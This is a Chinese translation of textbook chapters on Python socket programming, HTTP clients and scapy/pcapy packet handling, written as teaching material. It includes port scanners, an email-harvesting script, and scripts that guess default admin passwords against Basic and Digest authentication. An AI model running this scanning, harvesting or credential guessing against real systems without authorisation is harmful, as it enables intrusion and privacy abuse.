    {"text": "此方法相当于我们在许多操作系统中可以找到的`nslookup`命令： ```py >>> import socket > socket.gethostbyname('packtpub.com') '83.166.169.231' >> socket.gethostbyname('google.com') '216.58.210.142' socket.gethostbyname_ex(name) ：此方法返回单个域名的多个 IP 地址。 这意味着一个域在多个 IP 上运行： >> socket . gethostbyname_ex ( 'packtpub.com' ) ( 'packtpub.com' , [], [ '83.166.169.231' ]) >>> socket . gethostbyname_ex ( 'google.com' ) ( 'google.com' , [], [ '216.58.211.46' ]) socket.getfqdn([domain]) ：用于查找域的完全限定名： >> socket . getfqdn ( 'google.com' ) socket.gethostbyaddr(ip_address) ：此方法返回一个元组（ hostname 、 name 、 ip_address_list ），其中主机名是响应给定 IP 地址的主机名，名称是与同一地址关联的名称列表， the_address_list 是同一主机上同一网络接口的 IP 地址列表： >>> socket . gethostbyaddr ( '8.8.8.8' ) ( 'google-public-dns-a.google.com' , [], [ '8.8.8.8' ]) socket.getservbyname(servicename[, protocol_name]) ：此方法允许您从端口名称中获取端口号： >>> import socket >>> socket . getservbyname ( 'http' ) 80 >>> socket . getservbyname ( 'smtp' , 'tcp' ) 25 socket.getservbyport(port[, protocol_name]) ：此方法执行前一种方法的反向操作，允许您从端口号中获取端口名： >>> socket . getservbyport ( 80 ) 'http' >>> socket . getservbyport ( 23 ) 'telnet' 下面的脚本是我们如何使用这些方法从 Google 服务器获取信息的示例。 您可以在 socket_methods.py 文件中找到以下代码： import socket import sys try : print \"gethostbyname\" print socket . gethostbyname_ex ( 'www.google.com' ) print \" \\n gethostbyaddr\" print socket . gethostbyaddr ( '8.8.8.8' ) print \" \\n getfqdn\" print socket . getfqdn ( 'www.google.com' ) print \" \\n getaddrinfo\" print socket . getaddrinfo ( 'www.google.com' , socket . SOCK_STREAM ) except socket . error as error : print ( str ( error )) print ( \"Connection error\" ) sys . exit () socket.connect_ex(address) 方法使用套接字实现端口扫描。"},
    {"text": "您可以在 socket_ports_open.py 文件中找到以下代码： import socket ip = '127.0.0.1' portlist = [ 22 , 23 , 80 , 912 , 135 , 445 , 20 ] for port in portlist : sock = socket . socket ( socket . AF_INET , socket . SOCK_STREAM ) result = sock . connect_ex (( ip , port )) print port , \":\" , result sock . close () 反向查找 此命令从 IP 地址获取主机名。"},
    {"text": "您可以在 socket_reverse_lookup.py 文件中找到以下代码： import sys , socket try : result = socket . gethostbyaddr ( \"8.8.8.8\" ) print \"The host name is:\" print \" \" + result [ 0 ] print \" \\n Address:\" for item in result [ 2 ]: print \" \" + item except socket . herror , e : print \"error for resolving ip address:\" , e 插座的实际使用案例 在本节中，我们将回顾如何使用套接字实现端口扫描，以及如何在使用套接字时管理异常。 带插座的端口扫描器 套接字是网络通信的基本构建块，我们可以通过调用 connect_ex 方法轻松检查特定端口是否打开、关闭或过滤。"},
    {"text": "您可以在 port_scan 文件夹中的 check_ports_socket.py 文件中找到以下代码： **```py import socket import sys def checkPortsSocket(ip,portlist): try: for port in portlist: sock= socket.socket(socket.AF_INET,socket.SOCK_STREAM) sock.settimeout(5) result = sock.connect_ex((ip,port)) if result == 0: print (\"Port {}: \\t Open\".format(port)) else: print (\"Port {}: \\t Closed\".format(port)) sock.close() except socket.error as error: print (str(error)) print (\"Connection error\") sys.exit() checkPortsSocket('localhost',[80,8080,443]) 下面的 Python 代码将允许您扫描本地或远程主机以查找打开的端口。"},
    {"text": "** **脚本以与用户引入的 IP 地址和端口相关的信息开始： ```py #!/usr/bin/env python #--*--coding:UTF-8--*-- # Import modules import socket import sys from datetime import datetime import errno # RAW_INPUT IP / HOST remoteServer = raw_input(\"Enter a remote host to scan: \") remoteServerIP = socket.gethostbyname(remoteServer) # RAW_INPUT START PORT / END PORT print \"Please enter the range of ports you would like to scan on the machine\" startPort = raw_input(\"Enter a start port: \") endPort = raw_input(\"Enter a end port: \") print \"Please wait, scanning remote host\", remoteServerIP #get Current Time as T1 t1 = datetime.now() 我们使用从 startPort 到 endPort 的 for 循环继续脚本，以分析其间的每个端口。 我们通过显示完成端口扫描的总时间来完成： #Specify Range - From startPort to startPort try : for port in range ( int ( startPort ), int ( endPort )): print ( \"Checking port {} ...\" . format ( port )) sock = socket . socket ( socket . AF_INET , socket . SOCK_STREAM ) result = sock . connect_ex (( remoteServerIP , port )) if result == 0 : print \"Port {}: Open\" . format ( port ) else : print \"Port {}: Closed\" . format ( port ) print \"Reason:\" , errno . errorcode [ result ] sock . close () # If interrupted except KeyboardInterrupt : print \"You pressed Ctrl+C\" sys . exit () # If Host is wrong except socket . gaierror : print 'Hostname could not be resolved. Exiting' sys . exit () # If server is down except socket . error : print \"Couldn't connect to server\" sys . exit () #get current Time as t2 t2 = datetime . now () #total Time required to Scan total = t2 - t1 # Time for port scanning print 'Port Scanning Completed in: ' , total 在执行上一个脚本时，我们可以看到打开的端口以及完成端口扫描的时间（以秒为单位）： 下面的 Python 脚本将允许我们使用 portScanning 和 socketScan 函数扫描 IP 地址。"},
    {"text": "在此脚本中，用户必须输入主机和端口作为强制参数，并用逗号分隔： 您可以在 port_scan 文件夹中的 socket_portScan.py 文件中找到以下代码： **```py #!/usr/bin/python - - coding: utf-8 - - import optparse from socket import * from threading import * def socketScan(host, port): try: socket_connect = socket(AF_INET, SOCK_STREAM) socket_connect.connect((host, port)) results = socket_connect.recv(100) print '[+] %d/tcp open \\n' % port print '[+] ' + str(results) except: print '[-] %d/tcp closed \\n' % port finally: socket_connect.close() def portScanning(host, ports): try: ip = gethostbyname(host) except: print \"[-] Cannot resolve '%s': Unknown host\" %host return try: name = gethostbyaddr(ip) print '\\n[+] Scan Results for: ' + name[0] except: print '\\n[+] Scan Results for: ' + ip for port in ports: t = Thread(target=socketScan,args=(host,int(port))) t.start() 这是我们的主程序，当我们获得脚本执行的必需参数主机和端口时。 获得这些参数后，我们调用`portScanning`函数解析 IP 地址和主机名，调用`socketScan`函数使用`socket`模块确定端口状态： ```py def main(): parser = optparse.OptionParser('socket_portScan '+ '-H <Host> -P <Port>') parser.add_option('-H', dest='host', type='string', help='specify host') parser.add_option('-P', dest='port', type='string', help='specify port[s] separated by comma') (options, args) = parser.parse_args() host = options.host ports = str(options.port).split(',') if (host == None) | (ports[0] == None): print parser.usage exit(0) portScanning(host, ports) if __name__ == '__main__': main() python .\\socket_portScan.py -H 8.8.8.8 -P 80,21,22,23 在上一个脚本的执行过程中，我们可以看到 google-public-dns-a.google.com 域中的所有端口都是关闭的： 管理套接字异常 为了处理异常，我们将使用 try 和 except 块。"},
    {"text": "exception socket.gaierror ：此块在搜索 IP 地址信息时捕获错误，例如当我们使用 getaddrinfo() 和 getnameinfo() 方法时。 exception socket.error ：此块捕获一般输入和输出错误以及通信。"},
    {"text": "您可以在 manage_socket_errors.py 文件中找到以下代码： import socket , sys host = \"127.0.0.1\" port = 9999 try : s = socket . socket ( socket . AF_INET , socket . SOCK_STREAM ) except socket . error , e : print \"socket create error: %s\" % e sys . exit ( 1 ) try : s . connect (( host , port )) except socket . timeout , e : print \"Timeout %s\" % e sys . exit ( 1 ) except socket . gaierror , e : print \"connection error to the server:%s\" % e sys . exit ( 1 ) except socket . error , e : print \"Connection error: %s\" % e sys . exit ( 1 ) 在前面的脚本中，当 IP 地址的连接超时时，它抛出与服务器的套接字连接相关的异常。"},
    {"text": "如果您试图获取关于不存在的特定域或 IP 地址的信息，它可能会抛出带有 connection error to the server:[Errno 11001] getaddrinfo failed 消息的 socket.gaierror 异常。 如果无法连接到我们的目标，它将抛出一个带有 Connection error: [Errno 10061] No connection could be made because the target machine actively refused it 消息的 socket.error 异常。"},
    {"text": "问题 sockets 模块的哪种方法允许从 IP 地址解析域名 socket 模块的哪种方法允许服务器套接字接受来自另一台主机的客户端套接字的请求 socket 模块的哪种方法允许您将数据发送到给定的地址？ socket 模块的哪种方法允许您将主机和端口与特定套接字相关联？"},
    {"text": "套接字 module 的哪个异常允许您捕获一般输入和输出错误以及通信 进一步阅读 在这些链接中，您将找到有关上述工具的更多信息以及一些已注释模块的官方 Python 文档： https://wiki.python.org/moin/HowTo/Sockets https://docs.python.org/2/library/socket.html https://docs.python.org/3/library/socket.html https://www.geeksforgeeks.org/socket-programming-python/ https://realpython.com/python-sockets/ Python 3.7 的 Socket 中有什么新功能： https://www.agnosticdev.com/blog-entry/python/whats-new-sockets-python-37 ********"},
    {"text": "四、HTTP 编程 四、HTTP 编程 原文： https://gitee.com/apachecn/apachecn-python-zh/blob/master/docs/master-py-net-sec/04.md 本章将向您介绍 HTTP 协议，并介绍如何使用 Python 检索和操作 web 内容。"},
    {"text": "本章将介绍以下主题： 理解 HTTP 协议并用 Python 构建 HTTP 客户端 理解 urllib 包查询 RESTAPI 理解 requests 包查询 RESTAPI 了解不同的身份验证机制及其在 Python 中的实现方式 技术要求 本章的示例和源代码可在 GitHub 存储库的 chapter 4 文件夹 中找到 https://github.com/PacktPublishing/Mastering-Python-for-Networking-and-Security. 您需要在本地计算机上安装 Python 发行版，并对 HTTP 协议有一些基本的了解。 HTTP 协议和在 python 中构建 HTTP 客户端 在本节中，我们将介绍 HTTP 协议以及如何使用 httplib 构建 HTTP 客户端。"},
    {"text": "HTTP 是一种应用层协议，它基本上由两个元素组成：客户端发出的请求（从服务器请求 URL 指定的特定资源）和服务器发送的响应（提供客户端请求的资源）。 HTTP 协议简介 HTTP 协议是一种无状态超文本数据传输协议，不存储客户端和服务器之间交换的信息。"},
    {"text": "作为用于存储与 HTTP 事务相关的信息的无状态协议，有必要采用其他技术，例如 cookie（存储在客户端的值）或会话（保留用于存储服务器端一个或多个 HTTP 事务信息的临时内存空间）。"},
    {"text": "您可以在 request_httplib.py 文件中找到以下代码： **```py import httplib connection = httplib.HTTPConnection(\"www.packtpub.com\") connection.request(\"GET\", \"/networking-and-servers/mastering-python-networking-and-security\") response = connection.getresponse() print response print response.status, response.reason data = response.read() print data # 使用 urllib2 构建 HTTP 客户端 在本节中，我们将学习如何使用`urllib2`以及如何使用该模块构建 HTTP 客户端。 # urllib2 简介 `urllib2`可以使用各种协议从 URL 读取数据，如 HTTP、HTTPS、FTP 或 Gopher。"},
    {"text": "这个对象有`read()`、`readline()`、`readlines()`和`close()`等方法，它们的工作原理与文件对象中的工作原理完全相同，尽管实际上我们使用的是一个包装器，它将我们从低级别的套接字中抽象出来。 您会记得，`read`方法用于读取完整的“文件”或指定为参数的字节数，readline 用于读取一行，readlines 用于读取所有行并返回一个列表。"},
    {"text": "我们还有两个`geturl`方法，用于获取我们正在读取的 URL（这有助于检查是否存在重定向）和返回带有服务器响应头的对象的信息（也可以通过 headers 属性访问）。"},
    {"text": "您可以在`urllib2_basic.py`**文件中找到以下代码：** **```py import urllib2 try: response = urllib2.urlopen(\"http://www.python.org\") print response.read() response.close() except HTTPError, e: print e.code except URLError, e: print e.reason 在使用 urllib2 模块时，我们还需要管理错误和异常类型 URLError 。 如果我们使用 HTTP，我们还可以在 URLError``HTTPError 的子类中找到错误，当服务器返回 HTTP 错误代码时会抛出这些错误，例如找不到资源时会抛出 404 错误。"},
    {"text": "以下代码使用 urllib2 发出一个简单的请求： >>> response = urllib2 . urlopen ( 'http://www.python.org' ) >>> response . read () b '<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\" \"http://www.w3.org/TR/html4/strict.dtd\"> \\n <html >>> response.read(100) read() 方法允许我们读取请求的资源数据并返回指定的字节数。"},
    {"text": "值 200 是一个 HTTP 状态码，它告诉我们请求是 OK 的： >>> response . status 200 状态代码分为以下几组： **100:**信息性 **200:**成功 **300:**重定向 **400:**客户端错误 **500:**服务器错误 使用 urllib2 检查 HTTP 头 HTTP 请求由两个主要部分组成：头和主体。"},
    {"text": "您可以在 urllib_headers_basic.py 文件中找到以下代码： **```py import urllib2 url = raw_input(\"Enter the URL \") http_response = urllib2.urlopen(url) print 'Status Code: '+ str(http_response.code) if http_response.code == 200: print http_response.headers 在下面的屏幕截图中，我们可以看到为 python.org 域执行的脚本： ![](img/3bff218f-4c01-4cae-8d3d-815f784da3ca.png) 此外，您还可以获取标题的详细信息： ![](img/8da41655-5f6d-4a6f-bdda-0625c41acb8d.png) 另一种检索响应头的方法是使用响应对象中的`info()`方法，该方法将返回一个字典： ![](img/89591d31-8be7-41e9-8a6b-043834987c4a.png) 我们也可以使用`**keys()**`**方法获取所有响应头键：** **```py >>> print response_headers.keys() ['content-length', 'via', 'x-cache', 'accept-ranges', 'x-timer', 'vary', 'strict-transport-security', 'server', 'age', 'connection', 'x-xss-protection', 'x-cache-hits', 'x-served-by', 'date', 'x-frame-options', 'content-type', 'x-clacks-overhead'] 使用 urllib2 请求类 urllib2 的 urlopen 函数也可以将请求对象作为参数，而不是 URL 和要发送的数据。"},
    {"text": "请求对象最简单的构造函数只使用一个字符串作为参数，表示要连接到的 URL，因此使用此对象作为 urlopen 的参数将等同于直接使用带有 URL 的字符串。"},
    {"text": "在本例中，我们通过将自定义 HTTP 用户代理标头作为参数传递，使用请求类创建相同的 GET 请求： 您可以在** urllib_requests_headers.py 文件中找到以下代码： ** ****```py import urllib2 url = \" http://www.python.org \" headers= {'User-Agent': 'Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Safari/537.36'} request = urllib2.Request(url,headers=headers) response = urllib2.urlopen(request) Here we check response headers if response.code == 200: print(response.headers) 通过`urllib`模块的请求类，可以创建自定义头，为此，需要在 headers 参数中定义一个键和值格式的头字典。"},
    {"text": "# 使用 urllib2 从 URL 获取电子邮件 在本例中，我们可以看到如何使用 urllib2 和正则表达式提取电子邮件。 您可以在**`get_emails_from_url.py`**文件中找到以下代码：**** ****```py import urllib2 import re #enter url web = raw_input(\"Enter url: \") #https://www.packtpub.com/books/info/packt/terms-and-conditions #get response form url response = urllib2.Request('http://'+web) #get content page from response content = urllib2.urlopen(response).read() #regular expression pattern = re.compile(\"[-a-zA-Z0-9._]+@[-a-zA-Z0-9_]+.[a-zA-Z0-9_.]+\") #get mails from regular expression mails = re.findall(pattern,content) print(mails) 在这个屏幕截图中，我们可以看到 packtpub.com 域正在执行的脚本： 使用 urllib2 从 URL 获取链接 在这个脚本中，我们可以看到如何使用 urllib2 和 HTMLParser 提取链接。"},
    {"text": "您可以在** get_links_from_url.py 文件中找到以下代码：** **```py #!/usr/bin/python import urllib2 from HTMLParser import HTMLParser class myParser(HTMLParser): def handle_starttag(self, tag, attrs): if (tag == \"a\"): for a in attrs: if (a[0] == 'href'): link = a[1] if (link.find('http') >= 0): print(link) newParse = myParser() newParse.feed(link) web = raw_input(\"Enter url: \") url = \"http://\"+web request = urllib2.Request(url) handle = urllib2.urlopen(request) parser = myParser() parser.feed(handle.read().decode('utf-8')) 在下面的屏幕截图中，我们可以看到 python.org 域正在执行的脚本： ![](img/276cc13e-834b-4a2a-bedf-942e292279d9.png) # 使用请求构建 HTTP 客户端 在任何编程语言的项目中，能够与基于 HTTP 的 RESTful API 交互是一项越来越常见的任务。"},
    {"text": "在 Python 中，我们还可以选择使用`Requests`模块以简单的方式与 RESTAPI 交互。 在本节中，我们将回顾使用`Python Requests`包与基于 HTTP 的 API 交互的不同方式。"},
    {"text": "您可以通过`pip`命令在系统中轻松安装请求库： ```py pip install requests 该模块在 PyPi 存储库中作为 requests 包提供。 可以通过 Pip 安装，也可以从 下载 http://docs.python-requests.org ，它承载文档。"},
    {"text": "基本上，request 是 urllib2 和其他 Python 模块的包装器，为我们提供了 REST 结构的简单方法，因为我们有“post”、“get”、“put”、“patch”、“delete”、“head”和“options”方法，这些都是与 RESTful API 进行通信时不出问题的必要方法。 该模块有一个非常简单的实现形式，例如，使用请求的 GET 查询将是： >>> import requests >>> response = requests . get ( 'http://www.python.org' ) 正如我们在这里看到的，requests.get 方法返回一个“response”对象；"},
    {"text": "在这个脚本中，我们还可以通过 python.org 域中的 response 对象查看请求属性。 您可以在** requests_headers.py **文件中找到以下代码： import requests , json print ( \"Requests Library tests.\" ) response = requests . get ( \"http://www.python.org\" ) print ( response . json ) print ( \"Status code: \" + str ( response . status_code )) print ( \"Headers response: \" ) for header , value in response . headers . items (): print ( header , '-->' , value ) print ( \"Headers request : \" ) for header , value in response . request . headers . items (): print ( header , '-->' , value ) 在下面的屏幕截图中，我们可以看到 python.org 域正在执行的脚本。"},
    {"text": "您可以在** requests_headers_keys.py 文件中找到以下代码： ** ****```py import requests if name == \" main \": response = requests.get(\" http://www.python.org \") for header in response.headers.keys(): print(header + \":\" + response.headers[header]) # 要求好处 在`requests`模块的主要优点中，我们可以注意到以下几点： * 一个专注于创建全功能 HTTP 客户机的库。"},
    {"text": "# 使用 RESTAPI 发出 GET 请求 对于本模块的测试请求，我们可以使用[http://httpbin.org](http://httpbin.org) 服务并尝试这些请求，分别执行每种类型。 在所有情况下，为获得所需输出而执行的代码都是相同的，唯一会改变的是请求类型和发送到服务器的数据： ![](img/36067bfe-7767-42c3-9d83-1dfe4f7538b4.png) [http://httpbin.org](http://httpbin.org) [offers a service that lets you test REST requests through predefined endpoints using the get, post, patch, put, and delete methods.](http://httpbin.org) 您可以在`testing_api_rest_get_method.py`**文件中找到以下代码：** **```py import requests,json response = requests.get(\"http://httpbin.org/get\",timeout=5) # we then print out the http status_code print(\"HTTP Status Code: \" + str(response.status_code)) print(response.headers) if response.status_code == 200: results = response.json() for result in results.items(): print(resul) print(\"Headers response: \") for header, value in response.headers.items(): print(header, '-->', value) print(\"Headers request : \") for header, value in response.request.headers.items(): print(header, '-->', value) print(\"Server:\" + response.headers['server']) else: print(\"Error code %s\" % response.status_code) 运行上述代码时，您应该会看到以下输出，以及为请求和响应获取的标题： 使用 RESTAPI 发出 POST 请求 与在 URL 中发送数据的 GET 方法不同，POST 方法允许我们将数据发送到请求主体中的服务器。"},
    {"text": "POST 方法在 中提供 http://httpbin.org/post 服务： 在下面的代码中，我们定义了一个数据字典，它与 post 方法一起使用，用于在 body 请求中传递数据： >>> data_dictionary = { \"id\" : \"0123456789\" } >>> url = \"http://httpbin.org/post\" >>> response = requests . post ( url , data = data_dictionary ) 有些情况下，服务器要求请求包含指示我们正在使用 JSON 格式进行通信的标题； 对于这些情况，我们可以使用**“headers”**参数添加我们自己的头或修改现有的头： >>> data_dictionary = { \"id\" : \"0123456789\" } >>> headers = { \"Content-Type\" : \"application/json\" , \"Accept\" : \"application/json\" } >>> url = \"http://httpbin.org/post\" >>> response = requests . post ( url , data = data_dictionary , headers = headers ) 在本例中，除了使用 POST 方法外，还必须将要发送到服务器的数据作为数据属性中的参数传递。"},
    {"text": "代理的定义方式如下： >>> proxy = { \"protocol\" : \"ip:port\" , ...} 要通过代理发出请求，请使用 get 方法的 proxies 属性： >>> response = requests . get ( url , headers = headers , proxies = proxy ) 代理参数必须以字典的形式传递，也就是说，您必须创建一个字典类型，其中我们使用 IP 地址和代理正在侦听的端口指定协议： import requests http_proxy = \"http://<ip_address>:<port>\" proxy_dictionary = { \"http\" : http_proxy } requests . get ( \"http://example.org\" , proxies = proxy_dictionary ) 使用请求管理异常 请求中的错误处理方式与其他模块不同。"},
    {"text": "以下示例生成一个 404 错误，指示它找不到请求的资源： >>> response = requests . get ( 'http://www.google.com/pagenotexists' ) >>> response . status_code 404 在这种情况下， requests 模块返回 404 错误。 要查看内部生成的 异常 ，可以使用** raise_for_status () 方法：** **```py response.raise_for_status() requests.exceptions.HTTPError: 404 Client Error 如果向不存在的主机发出请求，并且一旦产生超时，我们将得到一个`ConnectionError`异常： ```py >>> r = requests.get('http://url_not_exists') requests.exceptions.ConnectionError: HTTPConnectionPool(... 在此屏幕截图中，我们可以看到 Python idle 中先前命令的执行情况： 与 urllib 相比，请求库使得在 Python 中使用 HTTP 请求更容易。"},
    {"text": "当浏览器客户端最初使用此系统访问站点时，服务器以 401 类型的响应进行响应，该响应包含“ WWW Authenticate ”标记，带有“Basic”值和受保护域的名称（例如 WWW Authenticate:Basic realm=“WWW.domainProtected.com”）。 浏览器用“Authorization”标记响应服务器，该标记包含登录名的“Basic”值和 base64 编码的连接、冒号标点符号（“：”）和密码（例如，Authorization:Basic b3dhc3A6cGFzc3dvcmQ=）。"},
    {"text": "假设我们有一个受这种身份验证保护的 URL，在 Python 中有 requests 模块，它将如下所示： import requests encoded = base64 . encodestring ( user + \":\" + passwd ) response = requests . get ( protectedURL , auth = ( user , passwd )) 我们可以使用此脚本通过 基本身份验证来测试对受保护资源的访问。"},
    {"text": "您可以在 BasicAuthRequests.py 文件中找到以下代码： **```py import base64 import requests users=['administrator', 'admin'] passwords=['administrator','admin'] protectedResource = ' http://localhost/secured_path ' foundPass = False for user in users: if foundPass: break for passwd in passwords: encoded = base64.encodestring(user+':'+passwd) response = requests.get(protectedResource, auth=(user,passwd)) if response.status_code != 401: print('User Found!') print('User: %s, Pass: %s' %(user,passwd)) foundPass=True break # 摘要认证 HTTP 摘要是一种用于改进 HTTP 协议中基本身份验证过程的机制。"},
    {"text": "客户端发送响应以访问受保护资源时必须遵循的过程是： * `Hash1= MD5(“user:realm:password”)` * `Hash2 = MD5(“HTTP-Method-URI”)` * `response = MD5(Hash1:Nonce:Hash2)` 基于摘要的访问身份验证通过使用单向散列加密算法（MD5）来扩展基本访问身份验证，该算法首先加密身份验证信息，然后添加唯一的连接值。"},
    {"text": "假设我们有一个受这种身份验证保护的 URL，在 Python 中它将如下所示： ```py import requests from requests.auth import HTTPDigestAuth response = requests.get(protectedURL, auth=HTTPDigestAuth(user,passwd)) 我们可以使用此脚本测试对受保护资源的访问**摘要身份验证。"},
    {"text": "您可以在 DigestAuthRequests.py 文件中找到以下代码： **```py import requests from requests.auth import HTTPDigestAuth users=['administrator', 'admin'] passwords=['administrator','admin'] protectedResource = ' http://localhost/secured_path ' foundPass = False for user in users: if foundPass: break for passwd in passwords: res = requests.get(protectedResource) if res.status_code == 401: resDigest = requests.get(protectedResource, auth=HTTPDigestAuth(user, passwd)) if resDigest.status_code == 200: print('User Found...') print('User: '+user+' Pass: '+passwd) foundPass = True # 总结 在本章中，我们研究了`httplib`和`urllib`模块，以及构建 HTTP 客户端的请求。"},
    {"text": "# 进一步阅读 在这些链接中，您将找到有关上述工具的更多信息以及一些已注释模块的官方 Python 文档： * [https://docs.python.org/2/library/httplib.html](https://docs.python.org/2/library/httplib.html) * [https://docs.python.org/2/library/urllib2.html](https://docs.python.org/2/library/urllib2.html) * [http://urllib3.readthedocs.io/en/latest/](http://urllib3.readthedocs.io/en/latest/) * [https://docs.python.org/2/library/htmlparser.html](https://docs.python.org/2/library/htmlparser.html) * [http://docs.python-requests.org/en/latest](http://docs.python-requests.org/en/latest)******************************"},
    {"text": "五、网络流量分析 五、网络流量分析 原文： https://gitee.com/apachecn/apachecn-python-zh/blob/master/docs/master-py-net-sec/05.md 本章将向您介绍使用 Python 中的 pcapy 和 scapy 模块分析网络流量的一些基础知识。"},
    {"text": "本章将介绍以下主题： 使用 pcapy 包在网络上捕获和注入数据包 使用 scapy 包捕获、分析、操作和注入网络数据包 使用 scapy 包在网络中进行端口扫描和跟踪路由 使用 scapy 包读取 pcap 文件 技术要求 本章的示例和源代码可在 GitHub 存储库的 chapter 5 文件夹 中找到 https://github.com/PacktPublishing/Mastering-Python-for-Networking-and-Security 。"},
    {"text": "pcapy 简介 Pcapy 是一个 Python 扩展模块，与 libpcap 数据包捕获库接口。 Pcapy 使 Python 脚本能够捕获网络上的数据包。 Pcapy 与其他 Python 类集合一起用于构造和数据包处理时非常有效。"},
    {"text": "要在 Ubuntu linux 发行版上安装 python-pcapy ，请运行以下命令： sudo apt - get update sudo apt - get install python - pcapy 用 pcapy 捕获数据包 我们可以使用 pcapy 接口中的 open_live 方法捕获特定设备中的数据包，我们可以指定每次捕获的字节数以及其他参数，如混杂模式和超时。"},
    {"text": "您可以在** capturing_packets.py **文件中找到以下代码： #!/usr/bin/python import pcapy devs = pcapy . findalldevs () print ( devs ) # device, bytes to capture per packet, promiscuous mode, timeout (ms) cap = pcapy . open_live ( \"eth0\" , 65536 , 1 , 0 ) count = 1 while count : ( header , payload ) = cap . next () print ( count ) count = count + 1 从数据包读取头文件 在下面的示例中，我们在特定设备（ eth0 中捕获数据包，并且对于每个数据包，我们获取用于提取有关 Mac 地址、IP 报头和协议的信息的报头和有效载荷。 您可以在** reading_headers.py **文件中找到以下代码： #!/usr/bin/python import pcapy from struct import * cap = pcapy . open_live ( \"eth0\" , 65536 , 1 , 0 ) while 1 : ( header , payload ) = cap . next () l2hdr = payload [: 14 ] l2data = unpack ( \"!6s6sH\" , l2hdr ) srcmac = \"%.2x:%.2x:%.2x:%.2x:%.2x:%.2x\" % ( ord ( l2hdr [ 0 ]), ord ( l2hdr [ 1 ]), ord ( l2hdr [ 2 ]), ord ( l2hdr [ 3 ]), ord ( l2hdr [ 4 ]), ord ( l2hdr [ 5 ])) dstmac = \"%.2x:%.2x:%.2x:%.2x:%.2x:%.2x\" % ( ord ( l2hdr [ 6 ]), ord ( l2hdr [ 7 ]), ord ( l2hdr [ 8 ]), ord ( l2hdr [ 9 ]), ord ( l2hdr [ 10 ]), ord ( l2hdr [ 11 ])) print ( \"Source MAC: \" , srcmac , \" Destination MAC: \" , dstmac ) # get IP header from bytes 14 to 34 in payload ipheader = unpack ( '!BBHHHBBH4s4s' , payload [ 14 : 34 ]) timetolive = ipheader [ 5 ] protocol = ipheader [ 6 ] print ( \"Protocol \" , str ( protocol ), \" Time To Live: \" , str ( timetolive )) 使用 scapy 捕获和注入数据包 网络流量分析是一个过程，通过该过程，可以截获在两台主机之间交换的截获数据包，同时了解干预通信的系统的详细信息。"},
    {"text": "因此，它可用于许多任务和领域： 通信网络研究 安全测试和道德黑客，以操纵产生的流量 包捕获、处理和处理 使用特定协议生成包 显示有关某个包的详细信息 数据包捕获、制作和操作 网络流量分析工具 模糊协议与 IDS/IPS 测试 无线发现工具 权衡利弊 以下是 Scapy 的一些优势： 支持多种网络协议 它的 API 提供了跨网段捕获数据包所需的类，并在每次捕获数据包时执行函数 它可以在命令解释器模式下执行，也可以从 Python 中的脚本以编程方式使用 它允许我们在非常低的水平上操纵网络流量 它允许我们使用协议栈并将它们组合起来 它允许我们配置每个协议的所有参数 此外，Scapy 还有一些弱点： 无法同时处理大量数据包 对某些复杂协议的部分支持 斯卡皮简介 Scapy 是一个用 Python 编写的模块，用于操作支持多种网络协议的数据包。"},
    {"text": "Scapy installation: I recommend using Scapy on a Linux system, as it was designed with Linux in mind.The newest version of Scapy does support Windows, but for the purpose of this chapter, I assume you are using a linux distribution that has a fully-functioning Scapy installation. To install Scapy, go to http://www.secdev.org/projects/scapy . The installation instructions are perfectly detailed in the official installation guide: https://scapy.readthedocs.io/en/latest/ Scapy 命令 Scapy 为我们提供了许多调查网络的命令。"},
    {"text": "这些命令可能有助于详细显示 scapy 的操作： **ls()** ：显示 scapy 支持的所有协议 **lsc()** ：显示 scapy 支持的命令和功能列表 **conf** ：显示所有配置选项 **help()** ：显示特定命令的帮助，例如帮助（嗅探） **show()** ：显示特定数据包的详细信息，例如 Newpacket.show（） Scapy 支持大约 300 种网络协议。 我们可以通过**ls（）**命令了解一下： scapy > ls () 屏幕截图显示了 ls（）命令的执行，我们可以看到 scapy 支持的一些协议： 如果我们执行**ls（）**命令，我们可以看到可以在某一层中发送的参数，在括号中，我们表示需要更多信息的层： scapy > ls ( IP ) scapy > ls ( ICMP ) scapy > ls ( TCP ) 下一个屏幕截图显示了**ls（TCP）**命令的执行，我们可以在 scapy 中看到 TCP 协议支持的字段： scapy > lsc () 通过 lsc() 命令，我们可以看到 scapy 中可用的功能： Scapy 帮助我们在 TCP/IP 协议的任何层中创建自定义数据包。"},
    {"text": "以下命令将在 IP 和 ICMP 层中创建数据包： scapy > icmp = IP ( dst = 'google.com' ) / ICMP () 此外，我们还可以在其他层上创建数据包： scapy > tcp = IP ( dst = 'google.com' ) / TCP ( dport = 80 ) scapy > packet = Ether () / IP ( dst = \"google.com\" ) / ICMP () / \"ABCD\" 通过 show() 方法，我们可以看到某个包的详细信息。"},
    {"text": "show() 与 show2() 的区别在于 show2() 功能显示网络发送的包裹： scapy > packet . show () scapy > packet . show2 () 我们可以看到特定包的结构： scapy > ls ( packet ) Scapy 逐层创建和分析包。"},
    {"text": "**summary（）**方法将提供每个包层的详细信息： >>> packet [ 0 ]. summary () 通过这些功能，我们可以看到以更友好和简化的格式接收的软件包： scapy > _ . show () scapy > _ . summary () 用 scapy 发送数据包 要在 scapy 中发送包裹，我们有两种方法： **发送（）：**发送第三层数据包 **sendp（）：**发送第二层数据包 如果我们从第三层或 IP 层发送，并且信任操作系统本身的路由发送，我们将使用 send() 。"},
    {"text": "循环 ：若要继续无休止地发送数据包，请将其设置为 1。 如果与 0 不同，则以无限循环的方式发送数据包或数据包列表，直到我们按 Ctrl + C 停止它。"},
    {"text": "现在我们用发送方式在 第三层 发送上一个数据包： >> send ( packet ) 要发送 第 2 层 数据包，我们必须添加一个以太网层，并提供正确的接口来发送数据包： >>> sendp ( Ether () / IP ( dst = \"packtpub.com\" ) / ICMP () / \"Layer 2 packet\" , iface = \"eth0\" ) 通过 sendp() 功能，我们将数据包发送到相应的目的地： scapy > sendp ( packet ) 通过 inter 和 loop 选项，我们可以以循环的形式无限期地每 N 秒发送一次数据包： scapy > sendp ( packet , loop = 1 , inter = 1 ) sendp (...) 函数的工作原理与 send (...) 完全相同，区别在于它在第二层工作。"},
    {"text": "如果我们指明了地址，scapy 将尝试使用本地和远程地址自动解析这些地址： 发送和 sendp 功能允许我们将需要的信息发送到网络，但不允许我们接收答案。"},
